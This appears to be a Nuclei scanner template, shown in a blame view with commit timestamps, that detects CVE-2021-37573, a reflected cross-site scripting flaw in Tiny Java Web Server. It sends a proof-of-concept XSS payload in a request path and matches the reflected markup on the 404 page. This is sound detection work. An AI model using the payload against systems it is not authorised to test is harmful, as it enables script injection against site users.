2021-08-13 22:14:13 +00:00
id : CVE-2021-37573
2021-08-13 22:17:18 +00:00
info :
2021-08-14 09:10:52 +00:00
name : Tiny Java Web Server - Reflected XSS
2021-08-13 22:14:13 +00:00
author : geeknik
severity : medium
2021-08-14 09:10:52 +00:00
reference :
- https://seclists.org/fulldisclosure/2021/Aug/13
2021-08-13 22:14:13 +00:00
tags : cve,cve2021,xss,tjws
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2021-37573
cwe-id : CWE-79
description : "A reflected cross-site scripting (XSS) vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's \"404 Page not Found\" error page"
2021-08-13 22:14:13 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"
matchers-condition : and
matchers :
- type : status
status :
- 404
2021-08-14 09:10:52 +00:00
2021-08-13 22:17:35 +00:00
- type : word
2021-08-13 22:14:13 +00:00
part : body
words :
- "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"
2021-08-14 09:10:52 +00:00
- type : word
part : header
words :
- text/html
